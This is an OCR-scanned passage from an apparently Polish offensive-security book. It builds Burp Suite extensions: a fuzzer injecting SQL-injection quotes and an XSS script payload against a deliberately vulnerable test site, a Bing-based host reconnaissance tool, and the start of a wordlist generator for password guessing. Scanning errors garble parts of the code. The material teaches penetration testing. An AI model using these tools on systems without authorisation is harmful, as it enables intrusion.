Dokumentacje te mozna znalezé na karcie Extender w zakladce APIs. Wyglada
ona niezbyt zachecajaco, poniewaz dotyczy Javy. Pierwsze, co rzuca sie w oczy,
to to, ze programisSci Burpa nadali klasom dobre nazwy, dzieki czemu od razu
wiadomo, od czego zacza¢ prace. Jako Ze interesuje nas szperanie w zadaniach
sieciowych podczas ataku wykonywanego przy uzyciu narzedzia Intruder, od razu
zwrécitem uwage na klasy IIntruderPayloadGeneratorFactory i IIntruderPayload
>Generator. Zobaczmy, co piszg w dokumentacji na temat klasy IintruderPayload
>GeneratorFactory:

/a':*
* Extensions can implement this interface and then call
* [BurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
* to register a factory for custom Intruder payloads.

*/

public interface IIntruderPayloadGeneratorFactory
{
/*%‘:
* This method is used by Burp to obtain the name of the payload
* generator. This will be displayed as an option within the
* Intruder UI when the user selects to use extension-generated
* payloads.

%

* @return The name of the payload generator.
*/

String getGeneratorName();

/**
* This method is used by Burp when the user starts an Intruder
* attack that uses this payload generator.
* @param attack
* An IIntruderAttack object that can be queried to obtain details
* about the attack in which the payload generator will be used.
* @return A new instance of
* IIntruderPayloadGenerator that will be used to generate
* payloads for the attack.
*/
IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack);
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Pierwsza cze$¢ dokumentacji @ informuje nas, ze powinnismy prawidlowo
zarejestrowac nasze rozszerzenie w Burpie. Rozszerzymy gléwng klase programu
oraz klase IIntruderPayloadGeneratorFactory. Nastepnie dowiadujemy sie, ze Burp
wymaga, aby w naszej klasie gléwnej znajdowaly sie dwie funkcje. Funkcja
getGeneratorName @ bedzie wywolywana przez Burp w celu pobrania nazwy roz-
szerzenia i powinna zwraca¢ taficuch. Natomiast funkcja createNewInstance ©
wymaga, aby$Smy zwracali egzemplarz klasy IIntruderPayloadGenerator, ktéra
réwniez musimy napisac.

Teraz przejdziemy do pisania w Pythonie kodu spelniajagcego opisane wyma-
gania, a nastepnie sprawdzimy, jak dodac¢ klase IIntruderPayloadGenerator. Utwirz
nowy plik Pythona o nazwie bhp_fuzzer.py i wpisz do niego ponizszy kod:

from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator

from java.util import List, ArraylList

import random

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
def registerExtenderCallbacks(self, callbacks):
self. callbacks = callbacks
self._helpers = callbacks.getHelpers()

callbacks.registerIntruderPayloadGeneratorFactory(self)
return

def getGeneratorName(self):
return "Generator danych BHP"

def createNewInstance(self, attack):
return BHPFuzzer(self, attack)

Tak wyglada szkielet skryptu spelniajgcego pierwszy zestaw wymagan na-
szego rozszerzenia. Najpierw importujemy klase IBurpExtender @, poniewaz jest
to konieczne w kazdym rozszerzeniu. Nastepnie importujemy klasy potrzebne nam
do utworzenia generatora danych dla Intrudera. P6zniej definiujemy klase Burp
>Extender @ rozszerzajaca klasy 1BurpExtender i IIntruderPayloadGeneratorFactory.
Nastepnie za pomoca funkcji registerIntruderPayloadGeneratorFactory © re-
jestrujemy nasza klase, aby powiadomi¢ narzedzie Intruder, ze mozemy gene-
rowaé dane. Potem implementujemy funkcje getGeneratorName @, aby zwracala
nazwe naszego generatora. Ostatnia czynnoScig jest zdefiniowanie funkcji create
“>NewInstance @ pobierajacej parametr attack i zwracajacej egzemplarz klasy
IIntruderPayloadGenerator, ktéry nazwalismy BHPFuzzer.
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Teraz zajrzymy do dokumentacji klasy IIntruderPayloadGenerator, aby do-
wiedzie¢ sie, co zaimplementowad.

/%\‘*
* This interface is used for custom Intruder payload generators.
* Extensions
* that have registered an
* IIntruderPayloadGeneratorFactory must return a new instance of
* this interface when required as part of a new Intruder attack.

%

public interface IIntruderPayloadGenerator

{

/-.‘4‘*
* This method is used by Burp to determine whether the payload

* generator is able to provide any further payloads.
%

* @return Extensions should return
* false when all the available payloads have been used up,
* otherwise true

*/
(1) boolean hasMorePayloads();

* This method is used by Burp to obtain the value of the next payload.
* @param baseValue The base value of the current payload position.
* This value may be null if the concept of a base value is not
* applicable (e.g. in a battering ram attack).
* @return The next payload to use in the attack.
*/

(2] byte[] getNextPayload(byte[] baseValue);

/**
* This method is used by Burp to reset the state of the payload
* generator so that the next call to
* getNextPayload() returns the first payload again. This
* method will be invoked when an attack uses the same payload
* generator for more than one payload position, for example in
* a sniper attack.
*/
(3] void reset();

W porzadku! Musimy zaimplementowaé klase bazowa, ktéra powinna udo-
stepnia¢ trzy funkcje. Pierwsza z nich, o nazwie hasMorePayloads @, stuzy do
sprawdzania, czy nalezy kontynuowa¢ przesylanie zmienionych zadat do Intr-
udera. W jej implementacji wykorzystamy prosty licznik. Gdy jego warto$¢ osiagnie
okreslone maksimum, zwrécimy warto$¢ False, aby zatrzyma¢ dalsze genero-
wanie testow fuzzingowych. Funkcja getNextPayload @ pobiera nastepny fadunek
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z zadania HTTE ktére przechwycilismy. Ale jesli wybierzesz kilka obszaréw 1a-
dunkéw w zagdaniu HTTE, to otrzymasz tylko te bajty, ktére wyznaczysz do zmiany
(zaraz to wyjasnie). Funkcja ta umozliwia fuzzowanie oryginalnego przypadku
testowego i zwrécenie go, aby program Burp przestal nowg sfuzzowana wartosé.
Ostatnia funkcja, reset ©, resetuje stan generatora fadunkéw, dzieki czemu na-
stepne wywolanie funkcji getNextPayload zwraca ponownie pierwszy tadunek.

Nasz fuzzer nie jest zbyt wybredny i zawsze losowo zmienia kazde zadanie
HTTP Teraz zobaczmy, jak wygladaja implementacje tych funkcji w Pythonie.
Dodaj do pliku bhp_fuzzer.py ponizszy kod:

class BHPFuzzer(IIntruderPayloadGenerator):
def _init_ (self, extender, attack):
self. extender = extender
self._helpers = extender._helpers
self. attack = attack
self.max_payloads = 10
self.num_iterations = 0

return

def hasMorePayloads(self):
if self.num_iterations == self.max_payloads:
return False
else:
return True

def getNextPayload(self,current_payload):

# konwersja na taicuch
payload = "".join(chr(x) for x in current_payload)

# wywolanie mutatora w celu zmiany Zgdania POST
payload = self.mutate_payload(payload)

# zwigkszenie liczby prob fuzzingu
self.num_iterations += 1

return payload

def reset(self):
self.num_iterations = 0
return

Najpierw zdefiniowali§my klase BHPFuzzer @, ktéra rozszerza klase IIntruder
>PayloadGenerator. Definiujemy wymagane zmienne klasowe oraz zmienne
max_payloads @ i num_iterations, aby mie¢ mozliwo$¢ poinformowania progra-
mu Burp o zakoriczeniu fuzzingu. Oczywi$cie mogliby§Smy pozwolié rozszerzeniu
dziala¢ w nieskonczono$é, ale w celach testowych tego nie zrobimy. Nastepnie
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implementujemy funkcje hasMorePayloads ®, ktéra sprawdza, czy osiggnieto juz
maksymalng liczbe iteracji fuzzingu. Mozna jg zmienié¢ tak, aby dzialala nie-
przerwanie, zwracajac warto$é True. Funkcja getNextPayload @ pobiera oryginalny
fadunek HTTP i to w niej dokonujemy fuzzingu. Zmienna current_payload jest
tablica bajtéw, wiec musimy ja przekonwertowaé na taficuch @ i przekazaé go
do funkcji fuzzujgcej mutate payload @. Nastepnie zwickszamy warto$é zmien-
nej num_iterations @ i zwracamy zmieniony tadunek. Ostatnia funkcja to reset,
ktéra nic nie zwraca.

Teraz napiszemy najprostsza na $wiecie funkcje fuzzujaca, ktéra mozesz
zmodyfikowa¢ w dowolny sposéb. Jako ze funkcja ta dysponuje biezacym ta-
dunkiem, jesli pracujesz z jakim§ skomplikowanym protokolem wymagajacym
czego$ specjalnego, np. sumy kontrolnej CRC na poczatku tadunku albo pola
dhugosci, to mozesz te obliczenia wykonaé wlasnie w tej funkcji, co jest niezwykle
przydatne. Dodaj ponizszy kod funkcji mutate_payload do pliku bhp_fuzzer.py:

def mutate payload(self,original_payload):

# Wybierz prosty mutator albo wywolaj skrypt zewnetrzny
picker = random.randint(1,3)

# Wybiera losowe miejsce w tadunku do zmiany
offset = random.randint(0,Ten(original_payload)-1)
payload = original_payload[:offset]

# préba ataku SQL injection
if picker ==
payload += """

# préba ataku XSS
if picker ==
payload += "<script>alert('BHP!');</script>";

# powtdrzenie fragmentu oryginalnego tadunku losowq liczbe razy
if picker ==

chunk_Tength = random.randint(1en(payload[offset:]),Ten(payload)-1)
repeater = random.randint(1,10)

for i in range(repeater):
payload += original_payload[offset:offset+chunk Tength]

# dodanie pozostalych bitow ladunku
payload += original_payload[offset:]

return payload

Kod tego fuzzera jest bardzo prosty. Losowo wybieramy jeden z trzech mutato-
réw: prosty test ataku SQL injection z pojedynczym cudzystowem, atak XSS oraz
mutator wybierajacy losowy fragment oryginalnego tadunku i powielajacy go losowa
liczbe razy. Nasze rozszerzenie jest gotowe do uzycia. Zobaczmy, jak je zatadowad.
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Czy to w ogdle dziata

Najpierw musimy zatladowaé rozszerzenie i sprawdzié, czy nie ma zadnych bte-
déw. Otwoérz w programie Burp karte Extender i kliknij przycisk Add (dodaj).
Pojawi sie okno, w ktérym mozna wskaza¢ lokalizacje fuzzera. Ustaw takie same
opcje, jak widaé na rysunku 6.3.

8.0 0 Load Burp Extension

Please enter the details of the extension, and how you would like to handle standard output and error.

Extension type: Python v

Extension file [.py): |1/BHP/code/Chaptert/bhp_fuzzer.py Select file ...

() Dutput to system console

() Save to file: Select file ...

® Showin UI

() Output to system console

(O Save to file: Select file ...

® Showin Ul

Cancel | [ Next

Rysunek 6.3. Opcje tadowania rozszerzenia w programie Burp

Kliknij przycisk Next (dalej), aby program Burp rozpoczal proces tadowania
rozszerzenia. Jesli wszystko péjdzie dobrze, powinna pojawié sie wiadomo$é, ze
rozszerzenie zostalo zaladowane. Jezeli wystapia jakie$ btedy, otworz karte Er-
rors (btedy), usun literéwki i kliknij przycisk Close (zamknij). Teraz karta Exten-
der powinna wyglada¢ tak jak na rysunku 6.4.

Nasze rozszerzenie znajduje sie na liScie zaladowanych rozszerzen i Burp
wykryl zarejestrowany generator fadunkéw dla Intrudera. Mozemy wiec przy-
stapié¢ do przeprowadzania ataku przy uzyciu tego rozszerzenia. Ustaw w prze-
gladarce lokalny serwer proxy na Burp Proxy na porcie 8080. Dokonamy ataku
na aplikacje Acunetix, o ktérej byta juz mowa w rozdziale 5. Wejdz na strone:

http://testphp.vulnweb.com

W celach testowych postanowitem poszukaé stowa test przy uzyciu pola wy-
szukiwania znajdujacego sie na tej stronie. Na rysunku 6.5 wida¢ to zgdanie na
karcie historii karty Proxy. Kliknglem je prawym przyciskiem myszy, aby wystaé
je do Intrudera.
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800 Burp Suite Professional v1.5.21 - licensed to [single user license]

Burp Intruder Repeater Window Help

[ varget | proxy | spider | scanner [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts
J Extensions | APis | Options |

Extensions let you customize Burp's behavior using your own or third-party cade.

| Add | Loaded |Type | Name

SRS IRECH €] Python bhp_fuzzer.py
Remove
=

[ pewn |

Detai

Output | Errors

@ Extension loaded

Name: bhp_fuzzer.py

Item | Detail |
Extension type Python

Filename fUsers fjustin/svn/BHP/code/Chapter6 /bhp_fuzzer.py

Method registerExtenderCallbacks

Intruder payload generators 1

Rysunek 6.4. Karta Extender w programie Burp z zatadowanym rozszerzeniem

8.0.0 Burp Suite Professional v1.5.21 - licensed to [single user license]
Burp Intruder Repeater Window Help

[ Target [ proxy | spider | scanner | intruder | Repeater | Sequencer | Decoder | Comparer | extender | Options | Alerts
Intercept_| HTTP histary | WebSockets history | Options |

[ Fiter- shoving altems @
# | Host | Method | URL | Params | Edited | Status | Length | MIMEtype |Extension | Title
10 http:/ ftestphpvulnweb.com  POST  fsearch.php?test=qupn: el [0 2an 4008 HTA php search 2
TK http:/ /testphp.vulnweb.com/search.php?test=query y
Add to scope
iR Resronss Spider from here
Raw | Params I Headers | Hex Do an active scan
FOST /search.phpitest—muery HTTE/1.1 Do 2 pas=ive scan F ]
R O e :
User-Agent: Mozillaf5.0 (Macintosh; Intel Mac 03 | Sendto Repeater %+R
Locept: text/html,application/xhtml+xml, applicati{ Send to Sequencer
Accept-Language: en-US,en;g=n.5 Send ta Comparer (request)
heocept-Encoding: gzip, deflate Send to Comparer (response}
Referer: http://testphp.vulnweb.com/
Connection: keep-alive Show response in browser
Content-Type: application/x-www-form-urlenceded | Requestin browser >
Content-Length: 26 Engagement taols >
searchFor=testégoButton=go Show new histary window
Add comment
Highlight >
Delete item
Clear history
Copy URL
Copy as curl command
Copy links
Save item
Proxy history help
g
v
-

Rysunek 6.5. Wybieranie zgdania HTTP do wystania do Intrudera
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Teraz otwoérz karte Intruder i przejdz na karte Positions (pozycje). Pojawi sie
okno z wyr6znionymi wszystkimi parametrami zapytania. Sg to miejsca ziden-
tyfikowane przez program Burp jako do modyfikowania. Jesli chcesz, mozesz
poprzestawia¢ znaczniki tadunku albo wybraé caly tadunek, ale w tym przykla-
dzie pozostawimy domySlne ustawienia programu. Na rysunku 6.6 mozesz zo-
baczy¢, jak wygladaja oznaczenia dodane przez program Burp.

8 .00 Burp Suite Professional v1.5.21 - licensed to [single user license]
Burp Intruder Repeater Window Help

[Targat I Proxy T Spider I Scanner I Intruder I Repeater T Sequencer T Decude‘r I Comparer I Extender I Optigns I Alerts ]

1 % 2 = 3 x 4 =

[Targat T Positions T Payloads T Options ]

2
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions
- see help for full details

Attack type: | Sniper vJ

POST /search.php?test=§gquery§ HITE/1.1 .

Host: testphp.vulnweh.com - &J
User-agent: Mozilla/5.0 {Macintosh; Intel Mac 08 X 10.7; rv:26.0) Gecko/20100101 Firefox/28.0 - —
Accept: text/html,application/xhtml+xml,applications/xml;g=0.9,%/%;g=0.8 GIRARS
Accept-Language: en-UsS,en;g=0.5

hocept-Encoding: gzip, deflate Auto §
Referer: http://testphp.vuloweb. com/
Connection: keep-alive Refresh
Content-Type: application/x-www-form-urlencoded ;J

Content-Length: 26

searchFor=§test§sgobutton=8gos

b
v
0 matches Clear
3 payload positions Length: 463

Rysunek 6.6. Oznaczenia parametréw tadunku w Intruderze

Teraz otworz karte Payloads (fadunki), rozwin liste Payload type (typ tadunku)
i wybierz pozycje Extension-generated (wygenerowany przez rozszerzenie). W sek-
cji Payload Options (opcje tadunku) kliknij przycisk Select generator... (wybierz
generator) i z listy rozwijanej wybierz pozycje BHP Payload Generator (gene-
rator tadunkéw BHP). Teraz ekran powinien wygladaé tak jak na rysunku 6.7.

Jestesmy gotowi do wysytania zgdan. Na pasku menu programu Burp kliknij
karte Intruder, a nastepnie kliknij Start Attack (zacznij atak). Zacznie si¢ wysy-
anie zmienionych zadan i bedzie mozna przejrzeé wyniki. U mnie fuzzer zwrécit
wyniki pokazane na rysunku 6.8.

Ostrzezenie dotyczgce 61. wiersza odpowiedzi w zadaniu 5. sugeruje, ze
w systemie jest luka pozwalajaca na przeprowadzenie ataku typu SQL injection.
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8 00 Burp Suite Professional v1.5.21 - licensed to « [single user license]
Burp Intruder Repeater Window Help

[Targat Proxy | Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options | Alerts

1 = 2 = 3 = 4 %

Target | Positions | Payloads | Options |

@ Payload Sets

You can define one or moare payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for
each payload set, and each payload type can be customized in different ways.

Payload set: 1 |= Payload count: unknown

Payload type: | Extension-generated |¥|  Request count: unknown

w Payload Options [Extension-generated]

This payload type invokes a Burp extension to generate payloads.

Selected generator: BHP Payload Generator

Select generator

L?J Payload Processing

You can define rules to perform various processing tasks on each payload before itis used.

Add | |Enabled | Rule

Edit

Remave »>
Up

[ Down |

Rysunek 6.7. Wykorzystanie rozszerzenia do generowania fadunkéw

800 Intruder attack 1
Attack Save Columns

J Results T Target I Pasitions I Payloads I Options }

| Filter: Showing all items

Request Al Position | Payload Status | Error | Timeout | Length | Comment
] 200 a O 4000 baseline request
1 1 queseery 200 =] a 4090

2 1 quer'y 200 [m] [m] 4207

3 1 g<scriptzalert'BHP!) ;< /scr... 200 a =] 4207

4 1 query 200 [m] [m] 4090

5 1 200 O Cazsr

6 1 query 200 (@] (] 4090

7 1 q'uery 200 o o 4207

& 3 go 200 a L 4090

9 3 'go 200 a [u] 4090

10 3 g<scriptzalert'BHP!'); < /scr... 200 a ] 4090

11 3 <script=alert'BHP!'y < fscri... 200 ] a 4090

12 3 g'a 200 a O 4090

13 3 <script=alert('BHP!'); < [scri... 200 [m] [m] 4090

14 3 <script>alert('BHP!') < fscri... 200 (] (] 4090

Raw | Headers | Hex | HTML Render]

<!{=-- InstanceBeginEditable name="content rgn" --> 3
<div id="content">

Warning: mysql fetch array() expects parameter 1 to be resonrce. boolean given in /hj/var/www/search.php om
line 61

<hz id='pageNams'>searched for: test</hiz«</div>

<!-- InstanceEndEditable -->

<l==gnd content ==>

<div id="navBar">

<div id="search"» v
2 < + o Type a sear 0 matches
Finished | |

Rysunek 6.8. Nasz fuzzer dziatajgcy w ataku Intrudera
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Oczywiscie ten fuzzer stuzy tylko do cel6w demonstracyjnych, ale bytby§
zaskoczony, jak efektywnie moze on zmusié¢ aplikacje sieciowg do zgloszenia
btedéw, ujawnienia $ciezek lub innych dziatan. Najwazniejsza nauka z tego
podrozdziatu jest sposéb polaczenia naszego rozszerzenia z atakami Intrudera.
Teraz utworzymy rozszerzenie do wykonywania rozszerzonego rekonesansu na
serwerze sieciowym.

Bing w stuzbie Burpa

Jesli planujesz przeprowadzi¢ atak na jakis serwer, pamietaj, ze jedna maszyna
czesto zawiera kilka aplikacji sieciowych, o ktérych mozesz nawet nie wiedzie¢.
Oczywiscie dobrze by bylo je wykryé, poniewaz mogg nam utatwié dostep do
powloki. Na maszynach docelowych czesto mozna znalezé niezabezpieczone apli-
kacje sieciowe, a nawet zasoby programistyczne. Wyszukiwarka Bing Microsoftu
ma funkcje pozwalajace na wyszukiwanie wszystkich witryn internetowych znaj-
dujacych sie pod tym samym adresem IP (nalezy uzyé¢ modyfikatora wyszukiwa-
nia IP). Ponadto wyszukiwarka ta podaje wszystkie poddomeny wybranej domeny
(nalezy uzy¢ modyfikatora domain).

Oczywiscie mogliby§my uzy¢ scrapera do wystania zapytaf do Binga, a po-
tem pobraé, co nam potrzebne, z kodu HTML, ale to by byto w zlym tonie
(a poza tym jest to niezgodne z warunkami korzystania z wiekszosci wyszukiwa-
rek internetowych). Aby wiec nie napyta¢ sobie klopotéw, mozemy wykorzystaé
interfejs API wyszukiwarki Bing' do wystania zapytan przy uzyciu programu,
a nastepnie samodzielnie przetworzy¢ otrzymane wyniki. Nie bedziemy imple-
mentowaé zadnych wymyslnych elementéw graficznego interfejsu uzytkownika
programu Burp (tylko menu kontekstowe). Po prostu bedziemy wysytaé¢ wyniki
do Burpa po kazdym zadaniu, a wszelkie adresy URL do docelowego zakresu
Burpa bedg dodawane automatycznie. Poniewaz juz wezesniej pokazalem, jak
przedrze¢ sie przez dokumentacje interfejsu API Burpa i przettumaczyé ja na
jezyk Python, teraz od razu przechodze do konkretnego kodu zrédlowego.

Utworz plik o nazwie bhp_bing.py i wpisz do niego ponizszy kod:

from burp import IBurpExtender
from burp import IContextMenuFactory

from javax.swing import JMenultem
from java.util import List, ArraylList
from java.net import URL

import socket
import urllib
import json

! Wejdz na strone http://www.bing.com/dev/en-us/dev-center/, aby wygenerowaé darmowy klucz do
interfejsu API wyszukiwarki Bing.
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import re
import base64
bing_api_key = "TWOJKLUCZ"

class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self. helpers = callbacks.getHelpers()
self.context = None

# instalacja rozszerzenia
callbacks.setExtensionName("BHP Bing")
callbacks.registerContextMenuFactory(self)

return

def createMenultems(self, context menu):
self.context = context menu

menu_Tlist = ArrayList()
menu_Tlist.add(JMenuItem("Wy31ij do Bing", actionPerformed=self.bing menu))

return menu_list

Jest to pierwsza cze$¢ naszego rozszerzenia. Przede wszystkim nie zapomnij
wklei¢ swojego klucza do interfejsu API Bing @. Klucz ten upowaznia Cie do
wykonania okoto 2500 darmowych operacji wyszukiwania miesiecznie. Najpierw
definiujemy klase BurpExtender @ implementujgcg standardowy interfejs IBurp
>Extender @ i interfejs IContextMenuFactory umozliwiajacy dostarczenie menu
kontekstowego, ktére pojawi sie, gdy uzytkownik kliknie prawym przyciskiem
myszy zadanie. Rejestrujemy procedure obstugi naszego menu ©, aby mée
sprawdzié, ktérg witryne uzytkownik kliknat, co p6zniej pozwoli nam na two-
rzenie zapytan do wyszukiwarki. Kolejng czynno$cig jest utworzenie funkcji
createMenultem, ktéra bedzie pobiera¢ obiekt typu IContextMenuInvocation stu-
zacy do sprawdzania, ktére zgdanie HTTP zostalo wybrane. Ostatni krok polega
na wyrenderowaniu elementu menu i obstuzeniu zdarzenia klikniecia przez
funkcje bing_menu @. Teraz dodamy funkcje wykonujacg zapytania do wyszuki-
warki, wy$wietlajaca wyniki oraz dodajaca wykryte wirtualne hosty do zakresu
docelowego Burpa.

def bing_menu(self,event):

# pobranie danych o tym, co klikngt uzytkownik
http_traffic = self.context.getSelectedMessages()

print "Wyrdznionych zadafi: %d" % len(http_traffic)
for traffic in http_traffic:

http_service = traffic.getHttpService()
host = http_service.getHost()
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print "Host wybrany przez uzytkownika: %s" % host
self.bing_search(host)

return

def bing search(self,host):

# sprawdzenie, czy mamy numer IP, czy nazwe hosta
is_ip = re.match("[0-9]+(?:\.[0-9]+){3}", host)

if is_ip:
ip_address = host
domain = False
else:
ip_address = socket.gethostbyname (host)
domain = True

bing_query string = "'ip:%s'" % ip_address
self.bing_query(bing_query string)

if domain:
bing _query string = "'domain:%s'" % host
self.bing_query(bing_query string)

Funkcja bing menu jest wywolywana, gdy uzytkownik kliknie zdefiniowany
przez nas element menu kontekstowego. Pobieramy wszystkie zadania HTTE,
ktére byly wyr6znione @, a nastepnie z kazdego z nich pobieramy cze$é hosta
i wysylamy ja do funkcji bing_search do dalszego przetwarzania. Funkcja bing_
“>search sprawdza, czy przekazano nam adres IE, czy nazwe hosta @. Nastepnie
prosimy wyszukiwarke Bing o wszystkie hosty wirtualne o takim samym adresie
IP © jak adres hosta znajdujacego sie w zadaniu HTTP kliknietym prawym
przyciskiem myszy. Jesli do rozszerzenia zostala przekazana nazwa domeny, to
szukamy @ wszelkich zaindeksowanych przez wyszukiwarke poddomen. Teraz
napiszemy kod wykorzystujacy interfejs API HTTP programu Burp do wysyta-
nia zadan do wyszukiwarki Bing i przetwarzania wynikéw. Dodaj ponizszy kod
do klasy BurpExtender.

def bing _query(self,bing query string):

print "Wyszukiwanie w Bing: %s" % bing_query_string

# kodowanie zapytania
quoted query = urllib.quote(bing_query_ string)

http_request = "GET https://api.datamarket.azure.com/Bing/Search/

S>Web?§format=json&§top=208Query=%s HTTP/1.1\r\n" % quoted query
http_request += "Host: api.datamarket.azure.com\r\n"
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http_request += "Connection: close\r\n"
http_request += "Authorization: Basic %s\r\n" % base64.b64encode(":%s" %
>bing_api_key)

o http_request += "User-Agent: Blackhat Python\r\n\r\n"

(2] json_body = self. callbacks.makeHttpRequest("api.datamarket.azure.com",
443, True,http_request).tostring()

(3] json_body = json body.split("\r\n\r\n",1)[1]
try:
(4] r = json.loads(json_body)

if Ten(r["d"]["results"]):
for site in r["d"]["results"]:

(5} print "*" * 100
print site['Title']
print site['Url']
print site['Description']
print "*" * 100

j_url = URL(site['Ur1'])

(6] if not self. callbacks.isInScope(j_url):
print "Dodawanie do zakresu Burpa"
self. callbacks.includeInScope(j_url)

except:
print "Brak wynikéw w wyszukiwarce Bing"
pass

return

Interfejs API programu Burp wymaga, aby wysyta¢ zadania HTTP w postaci
tanicuchowej. Jak widaé, zakodowalismy tez przy uzyciu algorytmu base64 klucz
API wyszukiwarki Bing oraz uzyliSmy podstawowej metody uwierzytelniania
HTTR Nastepnie wystalismy zadanie HTTP @ do serweréw Microsoftu. W zwrocie
otrzymujemy kompletng odpowiedz z nagtéwkami, ktére oddzielamy @, a nastepnie
przekazujemy odpowiedz do parsera JSON @. Dla kazdego zestawu wynikéw
wy$wietlamy pewne informacje na temat wykrytej witryny @ i jesli dana witry-
na nie znajduje sie w docelowym zakresie Burpa @, dodajemy ja do niego. Pro-
gram ten stanowi §wietny przyklad wykorzystania mieszaniny kodu API Jythona
i czystego Pythona w rozszerzeniu programu Burp do przeprowadzenia dziatan
rozpoznawczych przed dokonaniem ataku na upatrzony cel. Teraz zobaczymy,
jak to dziata.
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Czy to w ogdle dziata

Rozszerzenie dotyczace wyszukiwarki Bing nalezy wdrozyé w taki sam spos6b
jak poprzednie dotyczace fuzzingu. Po jego zaladowaniu wejdz na strone hitp://
testphp.vulnweb.com/ i kliknij prawym przyciskiem myszy wyslane wlasnie za-
danie GET. Jesli rozszerzenie jest zaladowane prawidtowo, w menu kontekstowym
powinna znajdowad sie opcja Wyslij do Bing, jak widaé¢ na rysunku 6.9.

800 Burp Suite Professional v1.6 - licensed to [single user license]
Burp Intruder Repeater Window Help
[Targec Praxy | Spider IScannar T Intruder T Repeater T Sequencer I Decader T Comparer T Extender IOpt\uns TAlem }
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E 3 http:f /testphp.vulnweb.c, T [m] O 200 4286 HTML Home of Acunetix Art |7
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J RS o=ronse Spider from here
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GET / HTTP/1.1 ]
Host: testphp.vuloweb.g Sl ittt Bl r
User-Agent: Mozilla/s.n Send toRepeater ¥#+R b 7; rv:23.0) Gecko/20100101 Firefox/28.0
Accept: text/html, applil Send to Sequencer ml;g=0.9,%/7;gq=0.8
Accept-Language: =n-US,| Sendto Comparer (request)
Accept—l;n:oding: gz ?p. Send to Comparer {response]
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Show response in browser
Requestin browser >
Engagement tools >
Show new history window
Add comment
Highlight >
Delete item
Clear history
Copy URL
Copy as curl command
Copy links
Save item
Proxy histary help
b
v
0 matches

Rysunek 6.9. Nowa opcja menu z naszego rozszerzenia

Klikniecie tej opcji spowoduje, ze w oknie programu zaczna pojawiaé sie
wyniki z wyszukiwarki Bing zalezne od opcji wyj$ciowych wybranych podczas
fadowania rozszerzenia, jak pokazano na rysunku 6.10.

A jesli otworzysz karte Target (cel) i przejdziesz na karte Scope (zakres), za-
uwazysz, ze do zakresu sa automatycznie dodawane nowe pozycje, jak widaé na
rysunku 6.11. Zakres docelowy ogranicza dziatania takie jak ataki, przegladanie
i skanowanie tylko do zdefiniowanych hostéw.
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Rysunek 6.10. Wyniki z interfejsu APl wyszukiwarki Bing dostarczane przez rozszerzenie

800 Burp Suite Professional v1.6 - licensed to [single user license]

Burp Intruder Repeater Window Help

| [ Target | proxy Spider | Scanner | intruder | Repeater | Seguencer | Decoder | Comparer | Extender | Options | Alerts
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Paste URL

| load.. |
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Rysunek 6.1 1. Hosty dodane automatycznie do zakresu docelowego programu Burp
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Tres¢ strony internetowej jako kopalnia haset

Zabezpieczenia w wielu przypadkach sprowadzaja sie w zasadzie do jednego:
haset. To smutne, ale prawdziwe. Co gorsza, jesli chodzi o aplikacje sieciowe,
zwlaszcza indywidualnie dostosowywane, czesto brakuje nawet funkcji blokady
konta. Czasami tez nie ma wymogu stosowania trudnych do odgadniecia hasel
przez uzytkownikéw. W takich przypadkach wystarczy uzy¢ prostego programu
przedstawionego w poprzednim rozdziale, aby dobra¢ sie do portalu.

Cata sztuka zgadywania hasel internetowych opiera sie na uzyciu odpo-
wiedniej listy stéw. Jesli Ci sie spieszy, to nie masz czasu na sprawdzenie dzie-
sieciu milionéw mozliwosci, wiec musisz wygenerowaé liste dostosowang spe-
cjalnie pod katem atakowanego serwisu. OczywiScie w dystrybucji Linuksa Kali
dostepne sg skrypty przeszukujace strony internetowe i generujace na podsta-
wie ich tresci listy hasel. Ale skoro juz raz uzyliSmy narzedzia Burp Spider do
przeszukania serwisu, po co generowaé¢ dodatkowy ruch tylko w tym celu, by
sporzadzi¢ liste stow? Poza tym skrypty te przyjmujag mnéstwo parametréow
wiersza polecen, ktére trzeba zapamictaé. Jesli masz tak jak ja, to pamietasz juz
wystarczajaco duzo argumentéw wiersza polecen, aby zrobi¢ duze wrazenie na
znajomych. Dlatego lepiej wystuzyé sie programem Burp.

Utworz plik bhp_wordlist.py i wpisz do niego ponizszy kod.

from burp import IBurpExtender
from burp import IContextMenuFactory

from javax.swing import JMenulItem
from java.util import List, ArraylList
from java.net import URL

import re
from datetime import datetime
from HTMLParser import HTMLParser

class TagStripper(HTMLParser):
def _init_ (self):
HTMLParser. init_ (self)
self.page_text = []

def handle_data(self, data):
(1] self.page_text.append(data)

def handle_comment(self, data):
(2] self.handle_data(data)

def strip(self, html):
self.feed(html)

(3 return " ".join(self.page_text)

class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
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self._callbacks = callbacks

self. helpers = callbacks.getHelpers()
self.context = None

self.hosts = set()

# Na poczqtek sprawdzimy cos powszechnie spotykanego
self.wordlist = set(["password"])

# instalacja rozszerzenia
callbacks.setExtensionName ("BHP Wordlist")
callbacks.registerContextMenuFactory(self)

return

def createMenultems(self, context menu):
self.context = context_menu
menu_Tlist = ArrayList()
menu_Tist.add(JMenultem("Utworz Tiste stow", -
actionPerformed=self.wordlist _menu))

return menu_list

Kod z tego listingu powinien juz wygladaé bardzo znajomo. Najpierw impor-
tujemy wszystkie potrzebne nam moduly. Klasa pomocnicza TagStripper umoz-
liwi nam usuniecie znacznikéw HTML z odpowiedzi HTTE ktére bedziemy
przetwarzaé pézniej. Jej funkcja handle_data zapisuje tekst strony @ w zmien-
nej sktadowej. Ponadto definiujemy funkcje handle_comment, poniewaz chcemy
doda¢ do listy takze stowa z komentarzy programistycznych. Funkcja ta w istocie
tylko wywoluje funkcje handle data @ (na wypadek gdyby$my chcieli zmienié
spos6b przetwarzania tekstu strony).

Funkcja strip wprowadza kod HTML do klasy bazowej HTMLParser i zwraca
otrzymany tekst strony @, ktéry bedzie potrzebny pézniej. Pozostaly kod jest prawie
